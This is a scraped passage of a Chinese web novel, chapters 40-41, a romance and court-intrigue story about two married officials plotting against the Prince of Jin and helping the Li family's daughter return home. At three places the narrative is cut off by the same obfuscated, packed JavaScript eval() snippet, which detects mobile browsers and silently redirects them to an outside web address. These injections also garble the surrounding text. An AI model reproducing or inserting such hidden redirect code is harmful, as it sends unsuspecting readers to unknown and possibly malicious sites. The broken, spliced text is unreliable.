他指尖弹了弹貔貅的脑袋,嘴角勾起一抹笑,眼底却藏着几分复杂, “其实我也没多生气,就是想把那老东西的舌头拔下来,再把他那张嘴缝上而已。” 暗格关上的瞬间,他突然一骨碌坐起来,眼睛亮得惊人:“哎!谢小厮得倒立走完谢府!” 之前他跟谢小厮打赌,若是谢伟恒对他有半分情意,谢小厮便要从正厅倒立走到后院。 如今看来,哪里是半分情意,分明是一颗心都挂在了他身上,连画册都藏了满满一本。 可念头刚起。 他又懒洋洋地躺了回去,扯过锦被盖在身上。 算了,谢伟恒的心意这般珍重,总不好拿这个来开涮,免得委屈了那小谢大人。 午时的日头正盛,谢府的小厨房飘出阵阵香气。 谢伟恒和燕修延本打算在房里用饭,顺便商议些事情。 菜还没上桌,谢允烽却先一步来了。 郑太医走了没多久,他就得知家中从宫里请了太医来。 谢允烽等了等,见自家儿子没有来告诉他的意思,便自己来了。 他穿着一身素色常服,脚步极轻,刚推开门,就看见燕修延没个正形地趴在饭桌上,单手支着下巴,百无聊赖地戳着桌上的瓷碟。 听见动静,燕修延立刻坐直了身子,规规矩矩地喊了声“父亲,您怎么来了?” 谢允烽却摆摆手,脸上带着温和的笑:“没事,你们好好吃饭,我就是过来看看。” 他的目光在两人脸上转了一圈,见谢伟恒神色平静,燕修延也不见病态,悬着的心便放了下来。 两个孩子显然有自己的打算,既然不愿说,他便不多问。 旁人若是打听起来,他只说不知便是,总归是要护着自家孩子的。 看着谢允烽转身离去的背影,燕修延一脸莫名,随即反应过来,压低声音问:“你没和父亲说请太医的事?” 谢伟恒摇了摇头,替他斟了杯茶,语气淡得像白开水:“父亲他们明日便要回江南,不必留在京城做戏。你放心,若是有人向他打听,他知道该如何应对。” 正说着,谢小厮端着食盒进来了,将四菜一汤摆得整整齐齐。 他偷偷看了燕修延一眼,小声道:“少夫人,你多吃点,好得快。” 说完,抱着托盘一溜烟地跑了,仿佛身后有什么东西在追。 去厨房时,正撞见谢伯亲自守着药炉,手里拿着蒲扇,一下下扇着炉火。 厨娘好奇地问是给谁煎的药,谢伯板着脸,只说不该问的别问。 谢小厮便笃定了,能让谢伯这般上心的,定然是给燕修延煎的—— 他家少爷身子骨好得很,一年到头连个头疼脑热都没有。 燕修延看着他的背影,忍不住笑了:“你这小厮倒是有意思,他脑袋里到底在想什么?” 谢伟恒拿起筷子,替他夹了块清蒸鲈鱼,语气了然:“他大约是看见谢伯煎药了。” 燕修延闻言,挑了挑眉,刚想说话,就听见谢伟恒淡淡开口:“燕大人看谁都有意思,唯独觉得我无趣。” “我可没这么说过。” 燕修延一脸莫名,好端端的,这小谢大人怎么又委屈上了? 女人的心是海底针,谢伟恒的心怕是深不见底的海沟。 “我喜欢逗你,就是觉得你有趣。” 他急忙解释,却见谢伟恒夹了块鱼腹上最嫩的肉,放进他碗里,声音低柔:“你说过,成亲后要日日闹我的。” 燕修延的心猛地一沉。 若是不知道谢伟恒的心意,他自然可以肆无忌惮地逗他、闹他,可如今知道了,他却有些束手束脚。 他给不了谢伟恒对等的感情,若是再这般闹下去,在他看来,便是薄情寡义了。 谢伟恒见他沉默,缓缓放下筷子,垂着眼帘,长长的睫毛在眼睑下投下一片阴影,声音里带着几分不易察觉的失落:“燕大人当真如此厌恶我?” “那倒没有。” 燕修延想也不想地脱口而出。 他想起新婚那夜,自己满心震惊,却被谢伟恒步步紧逼。 后来的那些纠缠,太过汹涌,太过炙热,像一场燎原的火,将他烧得晕头转向。 那种感觉太难形容,既沉溺其中,又隐隐有些害怕。 谢伟恒那时像头失控的野兽,带着毁天灭地的气势,又带着不容拒绝的温柔。 若是换了旁人,敢对他有半分这样的心思,他定要将对方千刀万剐。 可那人是谢伟恒,他便连一句重话都说不出口。 “谢大人哎,吃饭吃饭,忧思伤脾。” 燕修延夹了半块鱼肉放进谢伟恒碗里,语气像哄孩子,“反正都已经成亲了,你想那么多做什么?” 谢伟恒的眼底瞬间亮了起来,见好就收,自然地换了个话题:“今日进宫,陛下的意思是让长公主的事放一放,先解决李羽飞的事。还碰到了礼部尚书,他同我说,礼部正在筹备陛下的生辰宴。” 燕修延抬眼,眼中闪过一丝锐利:“我尽量在陛下生辰宴前把所有事都解决。你说,晋王会不会在生辰宴上动手?” 皇帝生辰,按例是要召亲王回京的,晋王提前进京,定然图谋不小。 “会。” 谢伟恒语气肯定,“此次晋王提前进京,野心昭然若揭。李想背后的人,想必也会找他合作。我们可以透些错误的信息给他们,让他们行动起来,少些顾忌。” 燕修延立刻来了精神,翘着兰花指,轻轻点了点谢伟恒的额头,语气带着调笑:“谢大人,你好坏呦~” 谢伟恒勾唇一笑,眼底满是纵容:“不敌燕大人。” 饭后不久,谢伯端着一碗药进来了。 那药汁呈深褐色,还没靠近,一股苦涩的味道就弥漫开来,呛得燕修延立刻后退三步,皱着眉嫌弃道:“这老东西肯定是在报复我!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646197|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他小时候顽劣,曾趁郑太医诊脉时,偷偷拽掉他好几根胡子,想来今日是故意开这么苦的药。 谢伟恒接过药碗,示意谢伯退下,关上门后,并没有急着让燕修延喝,只是静静等着药凉。 待药汁温凉适宜,他却转身将药倒进了桌案上的铜胎掐丝珐琅香炉里。 药汁遇热,立刻升腾起袅袅白烟,苦涩的味道被檀香中和,变成一种淡淡的、似有若无的药香。 燕修延皱眉:“你这样做,要不了几天,这屋子里的药味就把人腌入味了。” 谢伟恒笑笑,指尖拂过香炉上的缠枝莲纹:“总要装得像一些。” “装”字一出,燕修延立刻想起谢伟恒从前的模样。 那时他总装作嘴笨脸红的样子,在他面前手足无措,惹得他总想逗弄。 他抱着胳膊,靠在门框上,幽幽道:“论装,谢大人确实很会。” 谢伟恒抬眼,目光落在他身上,带着几分探究,又带着几分温柔:“我若不装,燕大人怎会愿意同我亲近了?” 燕修延撇撇嘴,别过脸去,耳根却悄悄红了:“哼,你哪哪都有理。” 谢伟恒低笑一声,上前一步,伸手轻轻揽住他的腰,声音低沉而缱绻:“不,夫君才是我的理。” “咳!”燕修延猛地咳嗽一声,急忙推开他,摸了摸发烫的耳朵,移开视线,“不要突然换称呼。” 谢伟恒眼底的笑意更深,却还是顺从地应了一声:“好。” 谢伯去两家药铺抓药的消息,很快就传到了中书令和李想耳中。 晋王和李想都没当回事,只当是谢允烽因家中琐事气病了,并未放在心上。 唯有中书令觉得不对劲,费了些力气,才打听出郑太医今日是去给燕修延诊脉的。 可燕修延得了什么病,身体状况如何,却半点消息都打听不到。 这难不倒他。 他派人去那两家药铺,花了些银子,轻易就拿到了谢伯抓药的药方。 随后,他立刻请府医前来辨认。 府医捧着两张方子,眉头紧锁,反复看了许久,才摇着头道:“老夫实在看不出,这两张方子是要治什么病。 若是将两张方子合二为一,倒是一剂治疗内伤的好方子,药劲霸道,针对性极强。” 中书令心中一紧,忙问:“从外在症状,可能看出些什么?” 府医摇摇头:“未曾见到病人,不敢妄言。” 送走府医,中书令拿着两张方子,走进内室。 晋王和魏仲泽正坐在桌前,低声商议着什么。 见他进来,晋王抬头,脸上带着几分急切:“如何?” 中书令将方子递过去,把府医的话复述了一遍。 晋王一听,立刻喜上眉梢,拍着桌子笑道:“好!好得很!燕修延受了内伤,这倒是天助我也!没了他,谢伟恒不过是个手无缚鸡之力的书生,不足为惧!” 中书令却皱着眉,心中疑虑更甚:“王爷,此事怕是没这么简单。” 以燕修延的身手,放眼京城,谁能伤得了他? 更何况,还是谢伟恒亲自进宫,请了郑太医前来诊治。” “你就是太过谨慎!” 晋王有些不耐烦,语气带着几分斥责。 先前传递消息,也是他非说要口传,不得留书,结果呢? 被人钻了空子,季风折了倒是小事,私铸钱的事也被抖了出来!” 魏仲泽坐在一旁,沉默许久,才缓缓开口,声音带着几分冷静:“不必争执。你让人盯紧燕修延的一举一动,若是他真受了内伤,那是最好;若是这是个局,我们也能及时察觉。其他的,照旧按计划进行。” 晋王虽心中不满,却也知道魏仲泽的主意向来稳妥,只得点了点头,沉声道:“就按你说的办。” 中书令看着两人,心中的不安却并未消减。 他总觉得,这看似有利的消息背后,藏着一个巨大的陷阱,正等着他们跳进去。 40. 他一向不懂情、爱 虞睿祥微服出宫,身形如夜枭般悄无声息潜入长公主府。 院中风动竹影,他足尖点上屋脊,青瓦在月下泛着冷光。 屋内隐约传来调笑声,混着女子的娇嗔与小厮的谄媚,还有淡淡的酒气与甜腻的香脂味,丝丝缕缕透过窗缝飘出来。 虞睿祥眉峰一蹙,指尖捻起一块瓦片,腕力轻抖,瓦片便带着破风的轻响坠下去。 “啪”的一声脆响,恰如冰水泼入滚油,屋内的调笑骤然停滞。 “去看看,什么东西。” 虞湘晔的声音隔着窗纸传来,带着几分被扰了兴致的慵懒。 跪坐在她脚边的小厮正替她揉着腿,闻言只懒懒晃了晃肩膀,语气狎昵:“殿下放心,定是那野猫夜里乱窜,撞了瓦当。春宵一刻值千金,莫要为这点小事扫了兴……” 话未说完,又是一块瓦片坠下,这次砸在窗棂上,声响更脆,更带着几分刻意的警告。 “啪!” “啪!” 瓦片碎裂声与清脆的掌掴声几乎同时响起,紧接着是小厮带着哭腔的求饶:“殿下恕罪!奴才这就去看!这就去!” 虞湘晔冷着脸,只从牙缝里挤出一个字:“滚。” 小厮连滚带爬地退出去,院外很快传来他呵斥下人的声音。 虞湘晔慢条斯理地整理好微乱的衣裙,披了件月白披风,缓步走到院中。 夜风拂起她鬓边的碎发,她抬眼望向屋脊,眼尾微微上挑,勾起一抹似笑非笑的红唇:“皇兄还是一如既往,喜欢干些上房揭瓦的勾当。” 虞睿祥从屋脊上一跃而下,玄色衣袂在夜风中划出一道利落的弧线,落地时悄无声息。 他甫一落地,便被那股从屋内飘出的、混着酒气的香脂味冲得眉头微皱,语气带着几分不易察觉的嫌恶:“你也还是一如既往,偏爱这些涂脂抹粉的小厮。” “他们爱打扮,爱来讨我欢心,又不是我逼的。” 虞湘晔转身斜倚在廊下的美人榻上,手肘撑着扶手,指尖轻点腮帮,一双美目哀怨地看着他,“我看上修延哥的时候,皇兄偏不让我动他,还由着他三番两次吓唬我。” 她顿了顿,忽然想起什么,嘴角勾起一抹促狭的笑,“后来我帮着谢伟恒套路修延哥,那谢伟恒的手段,可真是一套一套的。也不知道修延哥如今,记不记恨我这个媒人。” 虞睿祥没接她的话茬,径直步入正题,语气沉了几分:“林记粮铺、靖水楼、红缨布庄,这几家铺子,你如今可还在亲自打理?” 虞湘晔指尖顿住,故作思索状,纤长的睫毛垂下来,掩去眼底的神色:“皇兄赏我的产业太多,琐碎得很,我哪里记得过来。 不如我唤管家来问上一问?皇兄且去屏风后稍等片刻。” 管家很快被招来,对着虞睿祥毕恭毕敬地回禀了名下所有铺子的打理情况与进账明细。 从他口中得知这三家铺子如今都由贺昭全权打理。 虞湘晔在一旁听着,对贺昭的印象倒是颇深。 那是个自请卖身入府的汉子,样貌虽只是中上等,却极会讨好人,花活层出不穷,嘴又甜。 更难得的是会算账,在经商上颇有几分本事,她当初见他机灵,便随手划拉了好几家铺子交给他打理。 挥退管家后,虞湘晔才抬眼看向虞睿祥,柳眉微颦:“怎么,这个贺昭,有问题?” “季风家中搜出的私铸钱,源头便是这三间铺子。” 虞睿祥说这话时,目光一瞬不瞬地盯着她,留意着她脸上的每一丝神情变化。 “私铸钱?” 虞湘晔猛地坐直身子,眼中闪过一丝错愕,随即便是浓浓的怒意,“皇兄的意思是,他竟敢扯着我的大旗,与外人勾结,干这杀头抄家的勾当?” 她丝毫没有推诿,语气干脆利落:“皇兄想怎么查?是直接将他秘密带走,严刑拷打逼问实情,还是暗中盯梢,抓他个人赃并获?” “先按兵不动。” 虞睿祥沉声道,“待修延那边将所有事情处理妥当,若是你愿意配合,演上一出戏,再好不过。” 虞湘晔这些日子本就过得无趣,每日不过是听听曲,看看府里小厮们为了争宠明争暗斗,再不济便是与京中其他夫人小姐们赏花游船,早腻味透了。 一听这话,顿时来了兴致,身子往前倾了倾,眼中满是期待:“皇兄且说,要我如何配合?” “你说这些大臣,脑子里是不是都进了水?” 燕修延侧躺在床上,一手撑着脑袋,另一只手无聊地戳了戳谢伟恒手中的书页。 书页上记载着前朝旧事,说的是一位大将军接连打了胜仗,眼看就要追至敌巢了。 却被皇帝在一众大臣的撺掇下,接连下旨召回,最后竟被捏造罪名,打入大牢。 谢伟恒垂眸看着书,指尖轻轻拂过书页上的字迹,闻言却没有立刻回应。 他的目光不自觉地落在燕修延颈侧,那里的皮肤细腻,隐约能看到皮下血管的纹路。 他想起自己咬在那里,能清晰地感受到那处脉搏有力的跳动,一下,又一下,与自己的心跳渐渐同频。 “跟你说话呢……你那是什么眼神?” 燕修延察觉到他的目光,那目光太过灼热,带着一种他说不清道不明的缱绻与渴望。 让他本能地往床里缩了缩,耳根悄悄泛红。 谢伟恒闭了闭眼,才将那翻涌的情愫压下去,尝过一次甜头,如今每每与燕修延独处,他心中便既欢喜又煎熬。 欢喜的是能与心上人这般亲近,煎熬的是情动难耐,却又怕唐突了他。 “方才想事情,出了神。” 他缓声道,“历朝历代,朝堂之上从不乏短见自私之辈。 也可能有通敌卖国之人,不过有的,说到底,不过是各为其主罢了。” “狗屁的各为其主。” 燕修延翻了个白眼,双手枕在脑后,双腿交叠着架起,依旧是那副痞帅不羁的模样。 他看着谢伟恒,忽然话锋一转,“若是有朝一日,你发现我其实是为别国效力,你会如何?” 谢伟恒合上书,随手放在一旁的矮几上。 他微微俯身,逼近燕修延,两人之间的距离骤然缩短,鼻尖几乎要碰到一起。 他的声音很轻,带着一丝蛊惑,又带着一丝不容置疑的笃定:“那便把你抓住,关起来。让你往后的日子,整日里只能看见我一个人。” “……听你这语气,倒像是蓄谋已久了。” 燕修延的心猛地一跳,下意识地伸出手,抵住谢伟恒的脸颊,将他推到一旁。 他能感受到掌心下的皮肤温热,带着细腻的触感,让他的指尖微微发颤。“离这么近做什么?当心我……禽兽了你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646198|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话一出口,燕修延就后悔了。 他这张嘴,怎么就这么管不住! 明明前几日才刚憋住,怎么又随口秃噜出这种调情话来? 果不其然,谢伟恒的眼睛瞬间亮了起来,像是沉寂的夜空突然被点亮了繁星。 他反手握住燕修延的手腕,目光灼灼地看着他,眼底满是期待,仿佛在等着他兑现诺言。 燕修延只觉得脸颊发烫,连忙抽回手,转过身背对着他,用被子蒙住头,闷声闷气地说:“我困了,睡觉。” 他在心里暗暗发誓,今晚一定要好好睡觉,什么都不想,什么都不做。 希望明天一睁眼,自己不是窝在谢伟恒的怀里。 一夜无梦。 第二天清晨,燕修延一睁眼,鼻尖先触到一片温热的胸膛,熟悉的檀木香气萦绕在鼻尖。 他微微一怔,随即无奈地叹了口气——习惯了,真的快习惯了。 只是这卧房的陈设,似乎与昨日不同。 他面无表情地伸出手指,轻轻戳了戳谢伟恒的肩头:“醒醒,太阳都晒屁股了。还有,你把我拐到什么地方来了?” 谢伟恒闭着眼睛,睡意正浓,感受到他的触碰,下意识地握住他的手指,声音带着刚睡醒的困顿与沙哑:“别闹。” 燕修延看着自己被握住的手,又看了看谢伟恒那副慵懒的模样,心里默默叹气:看这反应,他昨晚定是又让谢伟恒不得安生了。 “谢伟恒,你说你图什么?”他忍不住低声问。 谢伟恒侧过头,脸颊蹭了蹭他的指尖,声音轻得像羽毛,却带着沉甸甸的重量:“图你在我身边。” 燕修延的手指猛地蜷了一下。 情啊,爱啊,这些缠绵悱恻的东西,他一向不懂。 他想问谢伟恒,若是有朝一日,他提了和离,谢伟恒会怎么办。 可话到嘴边,又咽了回去。他知道,这话若是说出口,谢伟恒定会难受。 罢了,反正他现在也快习惯了谢伟恒的存在,那些没影的事情,想它做什么。 做人嘛,不必太过拧巴。 “你再不松手,就不是我在你身边,而是我把你踹到天边去。” 燕修延用力挣了挣手,又低头看了看四周陌生的陈设,“还有,这到底是哪里?” 说着,他抬腿想往床边挪,膝盖却不小心碰到了什么温热的东西。 谢伟恒猛地别过脸去,耳根瞬间红透,连那散乱的里衣下露出的胸膛,都透着淡淡的粉色。 他握着燕修恒手指的手,也不自觉地收紧了几分。 燕修延瞬间僵住,脸上的表情变得有些古怪,磕磕巴巴地问:“你、你怎么还害羞上了?” 谢伟恒这才松开手,连忙拢了拢微敞的里衣,声音带着一丝不易察觉的慌乱:“无事。我们现在在江南老宅,在此住几日,再动身去杭州。你先起吧。” 燕修延捏紧了自己的嘴,生怕自己再说出什么不过脑子的话。 他小心翼翼地缩回腿,挪回自己的被窝,又伸手将谢伟恒身上的被子拉了拉,严严实实地盖好他露在外面的胸膛,这才掀开被子,跳下床。 谢伟恒缓缓拉开盖在脸上的被子,目光落在燕修延的背影上。 看着他背对着自己穿衣时,那微微泛红的耳垂。 眼底的笑意再也掩盖不住,浓得仿佛要溢出来。 41. 好一个京城贵女! 燕修延在陌生的院落里倒也不觉得拘束,洗漱过后,便赤着膊踏进晨光里。 青石地面带着夜露的微凉,他沉腰扎马,一套看家拳法打得虎虎生风,拳风扫过院角的芭蕉叶,震落数颗晶莹的水珠。 待拳势收尽,又抄起倚在廊下的长枪,枪尖划破空气,发出阵阵锐啸。 动作幅度稍大,便有细密的痛感顺着肌理蔓延开来,他却浑不在意,只在收势时,缓缓吐出一口浊气,额角的汗珠顺着紧实的下颌线滑落,没入颈间的肌理。 身后的门“吱呀”一声从里打开。 燕修延眼角的余光扫了一眼,便若无其事地移开视线。 晨光将谢伟恒的身影拉得颀长,他依旧是一身月白宽袍,身姿挺拔如松,可燕修延偏就从那温润端方的轮廓里,看出了几分未尽的旖旎。 谢伟恒缓步走到他面前,声音清润如玉石相击:“我陪你喂招。” “行啊。” 燕修延随手捞起搭在石桌上的布巾,擦了擦脸上的汗,嘴角勾起一抹痞气的笑,“小心我打哭你……” 话刚说完,便想起什么似的顿住,哦,差点忘了,谢伟恒只是看起来像个手无缚鸡之力的白面书生,实则身手远在他之上。 谢伟恒闻言轻笑,抬起右手,指尖微屈,做了个请的手势:“燕大人,请。” 燕修延挑眉,目光落在他那身宽袍大袖上,眉头微蹙:“你就穿这衣服打?” 还是白色的,若是踹上一脚,准留一个黑黢黢的鞋印子,多煞风景。 谢伟恒右手手指勾了勾,眼底漾着几分促狭:“燕大人若是担心,可以让我几招。” “你想得倒美!” 燕修延最受不得激,话音未落,五指成爪,带着凌厉的风势,猝不及防地攻向谢伟恒的面门。 那速度快如闪电,寻常人早已避之不及,可谢伟恒只是微微侧头,便轻巧地躲过。 燕修延攻势不停,左脚为轴,右腿如鞭,带着破风之声踢向他的腰间。 这般近的距离,想要躲过难如登天。 却见谢伟恒不慌不忙,单手精准地拍在燕修延的腿上,借势腾空而起。 宽袍大袖在半空中翻飞如蝶翼,他腰身一拧,一个漂亮的鹄子翻身,翩然落在燕修延身后,落地时悄无声息,唯有衣袂划过空气的轻响。 “好!再来!” 燕修延如墨的眼眸里瞬间泛起浓烈的兴味,方才那一下交手,让他浑身的血液都沸腾起来。 他提气转身,拳风更烈,招招直逼谢伟恒的要害。 两人在院中你来我往,连过数百招。 燕修延的眼睛越来越亮,他已经很久没有打得这样畅快淋漓过了。 谢伟恒的招式看似轻柔,实则灵活多变,角度刁钻至极,每一招每一式都蕴含着不容小觑的力量,既不会伤了他,又能让他尽兴发挥。 不知过了多久,两人碰撞在一起的拳头再次分开,各自后退数步,大口喘着气。 燕修延抹了把脸上的汗,笑得开怀,露出一口整齐的白牙:“谢伟恒,你这身手,便是去考个武状元也是绰绰有余,真正是能文能武。” 他看得真切,谢伟恒自始至终都在收着劲,怕伤着他,并没有全力以赴。 新婚夜那番抵死纠缠,芙蓉池里的经历,燕修延早已知道谢伟恒的实力远在自己之上。 而今日这番交手,更让他有了深刻的认知。 可他倒也不恼,人的骨子里总是慕强的,能有这样一个旗鼓相当的对手,能打得如此尽兴,本就是件乐事。 他走上前,拍了拍谢伟恒的肩膀,语气带着几分雀跃:“以后咱们每天都练练,如何?” 谢伟恒看着他眼底闪烁的光芒,心头一暖,一天十二个时辰,他巴不得时时刻刻都跟燕修延待在一起。 他点了点头,声音里带着难以掩饰的笑意:“好。” 只是得在燕修延身体允许的情况下,这后半句,他默默藏在了心里。 早晨人活动开了筋骨,再吃饭时便格外香甜。 燕修延一手端着海碗喝粥,一手抓着热腾腾的肉包子啃,腮帮子鼓得圆圆的,早就把起床时那点因昨夜温存而生的尴尬抛诸脑后。 总有人说燕修延睚眦必报、最善记仇。 可谢伟恒却最是清楚,燕修延是个十足的性情中人,他看似性子难测、乖戾难处,实则心大得很,若是不在意的人和事,转头便能忘得一干二净,唯有放在心上的人,才会被他护得严严实实。 谢伟恒慢条斯理地用着早膳,随口提起:“父亲的意思是,让我们尽快动身去杭州,你看,要不要在这住上几日?” 燕修延一口咬下半个包子,闻言抬起头,嘴角还沾着点包子馅,口齿不清地说道:“能快点把事情解决完,就绝不能拖。最好今天下午就动身,京城那边长期没咱俩的消息,晋王定会起疑。” 他心里清楚,晋王狼子野心,早已觊觎皇位许久,他们二人离京,若是没有什么动静,指不定晋王会闹出什么幺蛾子。 谢伟恒点了点头,应道:“那我一会去跟父亲说一声。” 下午,阳光正好,微风不燥。 谢伟恒小心翼翼地扶着燕修延的手,登上了前往杭州的船。 燕修延站在船头,朝着岸边的谢父谢母拱手作揖,声音朗润:“父亲母亲,这次来得匆忙,待下次休沐,定多住几日。” 谢母看着他,眼中满是不舍,却也知道他们身负重任,只能挥了挥手,叮嘱道:“一路小心,照顾好自己。” 船缓缓驶离岸边,在水面上漾起层层涟漪。 燕修延站在船头吹了会儿风,只觉得胃里翻江倒海,在船上待了不过一炷香的时间,便难受了好几次。 谢伟恒忙扶着他进了船舱,一手端着温热的茶杯,一手轻轻顺着他的后背,动作温柔得不像话。 一顿折腾后,燕修延实在撑不住,靠在谢伟恒的怀里沉沉睡去。 只有闭上眼睡过去,那股强烈的眩晕感才会稍稍减轻,让他觉得好受些。 谢伟恒低头看着怀中人恬静的睡颜,眼底满是心疼,抬手轻轻拂去他额角的碎发,动作轻柔得仿佛怕惊扰了他的好梦。 时间过得很快,船行数日,终于抵达杭州。 根据温瑞查到的地点,二人在一处破败的贫民窟里,见到了过得如同乞丐的李羽飞。 她身上的衣服早已破烂不堪,沾满了污渍,头发散乱如枯草,脸上满是灰尘,唯有一双眼睛,依旧透着不屈的光芒。 若不是事先知晓她的身份,燕修延几乎认不出,这就是李家大小姐。 他忍不住咋舌,语气里带着几分难以置信:“李想挺狠心啊,好歹也是自己的亲生女儿,竟能把你磋磨成这副模样。” 李羽飞抬起头,看着眼前的两人,惨然一笑,声音沙哑得厉害:“再是亲生又如何,在他眼里,我不过是一枚可以随时舍弃的棋子。 有用时,捧在手心,奉为珍宝;无用时,弃如敝屣,毫不留情。” 燕修延闻言,眉头微皱,他最见不得这样的事情,当即沉声道:“棋子?命运本该掌握在自己手里,别人说你是孤鬼,你便真的认了?别人说你是棋子,你便甘心任人摆布?” 李羽飞浑身一震,抬起头,眼中闪过一丝希冀,又带着几分不确定:“我……我还能掌握自己的命运吗?” 燕修延看着她眼中的光芒,嘴角勾起一抹自信的笑:“你若愿意,我助你成为京城第一贵女,让那些曾经轻视你、舍弃你的人,都抬头仰望你。” 李羽飞怔怔地看着他,良久,突然跪倒在地,朝着燕修延重重磕了一个头,声音带着泣血的决绝:“我愿做燕大人手里的棋,任凭大人差遣,就看燕大人,你收不收了!” 燕修延伸手将她扶起,目光坚定:“从今日起,你不再是任人摆布的棋子,你的命运,由你自己做主。” 谢伟恒站在一旁,看着燕修延意气风发的模样,眼底漾起一抹温柔的笑意,他就知道,燕修延从不是什么冷血无情之人,他的心中,自有一片柔软之地。 京城的春日雨脚绵密,织成一张灰蒙蒙的网,将朱门深宅的轮廓都晕染得模糊。 谢府门前的青石板被雨水浸得发亮,燕修延倚在门廊下玄色衣袍的下摆被风微微吹起,露出一截劲瘦的脚踝。 他将一杯热茶递到李羽飞手中,指尖相触时,只觉她的手冰得像块寒玉。 “先不用换衣服了,就这样走回去吧。”他声音低沉,带着惯有的痞气,却又藏着不易察觉的笃定,“谢大人和我,会在暗处跟着。” 谢伟恒执壶的手稳如磐石,青玉茶注倾斜,琥珀色的茶汤缓缓注入燕修延面前的白瓷杯,茶香混着雨气漫开。 他抬眸看向李羽飞,眉眼温润,语气却带着不容置疑的力量:“放心,无人能伤你。” 李羽飞捧着热茶,暖意从掌心蔓延开,却驱不散心底的惶恐。 她用力点了点头,哑声说了句“多谢”,便起身佝偻着腰,一步一踉跄地踏入雨幕。 木棍敲击青石板的声音,在淅淅沥沥的雨声中显得格外清晰,一下,又一下,像是在敲打着某根看不见的弦。 不过半炷香的路程,李羽飞却走得如同一个世纪。 当李府朱红的大门出现在视线尽头时,她眼前一黑,再也支撑不住,直挺挺地倒在湿漉漉的台阶上。 意识模糊前,她只看到府门内冲出来几个穿着体面的小厮丫鬟,嘈杂的声音在耳边渐渐远去。 谢伟恒和燕修延打伞的身影隐在街角的老槐树后,像两尊沉默的石塑,却无人在意。 燕修延望着李羽飞被扶进府的身影,嘴角勾起一抹不知名的笑:“剩下的,她该知道怎么做了。” 他转身,玄色衣袍在空中划过一道凌厉的弧线,“走吧。” 谢伟恒微微颔首,目光在李府大门上停留片刻,才抬步跟上。 一炷香的功夫,李羽飞在锦被中悠悠转醒。 身上的湿衣已被换下,可那股从骨头缝里渗出来的寒意却丝毫未减。 她顾不得浑身的酸痛,挣扎着滚下床,膝盖重重磕在冰冷的地面上,正对着床前那个身着锦袍、面容温煦的男人。 “父亲!父亲!” 她的声音破碎得像被雨打烂的纸,带着哭腔,“舅舅、舅母他们虐待我,舅舅还想强占我,我好不容易逃出来的,不要送我走!” 李想连忙弯腰将她扶起,大手轻轻拍着她的背,语气温柔得能滴出水来:“父亲不会送你走的,我的好女儿。 若不是你母亲在你刚出生时执意送你去杭州,父亲哪舍得你去那么远的地方。” 他说着,便吩咐身边的小厮,“去,通知主母,就说大小姐回来了。” 李想的指尖触到她背脊上的薄茧,眼底飞快地掠过一丝算计,却又被恰到好处的心疼掩盖。 李羽飞埋在他怀里,感受着那虚假的温暖,唇角勾起一抹极淡的、冰冷的弧度。 忘忧院的庭院里,种着几株芭蕉,雨打芭蕉,发出淅淅沥沥的声响,更添几分寂寥。 守在院门口的嬷嬷匆匆走进屋内,对着坐在轮椅上的女子躬身道:“夫人,大小姐回来了。” 王璟妍坐在轮椅上,一身素色长裙,墨发仅用一根玉簪绾起。 她闻言,只是淡淡抬了抬眼,语气平静无波:“哦,回来了。” 那语气,仿佛只是在说一件无关紧要的小事,听不出半分喜悦,也听不出半分怨怼。 酉时的梆子声刚响过,李府的家丁便如狼似虎地闯了进来,粗硬的手指扣住李羽飞的胳膊,将她一路拖拽到忘忧院。 李羽飞内心:我从未想过,此生第一次与母亲相见,竟会是这般情形。 我本以为母亲会是我在李家的依靠,然而…… 院中的梧桐叶被雨水打得簌簌作响,王璟妍端坐在轮椅上,一身素色的锦裙,衬得她面色惨白如纸。 她没有看李羽飞,只是垂眸抚摸着轮椅扶手上精致的雕花,声音淡得像一潭死水:“打!” 一个字,像淬了冰的鞭子,狠狠抽在李羽飞的心上。 她被家丁按在地上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646199|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗糙的地面磨破了她的掌心,却不及心底的惊惶来得刺骨。 “母亲,我犯了哪一条家规,就算是死,也得让女儿死得明白!” 她仰起头,雨水混着泪水从眼角滑落,砸在地上,晕开一小片深色的水渍。 旁边的嬷嬷上前一步,声音尖刻如枭:“大小姐,咱们李家内宅之事,无论是非黑白,自有老爷主母家法处置。 你回来之事为何不提前禀报?是家中长辈个个愚蠢无知,不能明辨是非,无人为你做主?还是你怕在这京城之中,无人笑话咱们李家?” “母亲明查!” 李羽飞拼命挣扎着,脊背绷得笔直,“女儿绝无此意,女儿实在不愿再受舅舅、舅母的苛待!” “打!” 王璟妍的声音依旧没有起伏,却带着不容置疑的威严。 家丁手中的棍棒带着风声落下,一下,又一下,狠狠砸在李羽飞的背上。 砰!砰!砰! 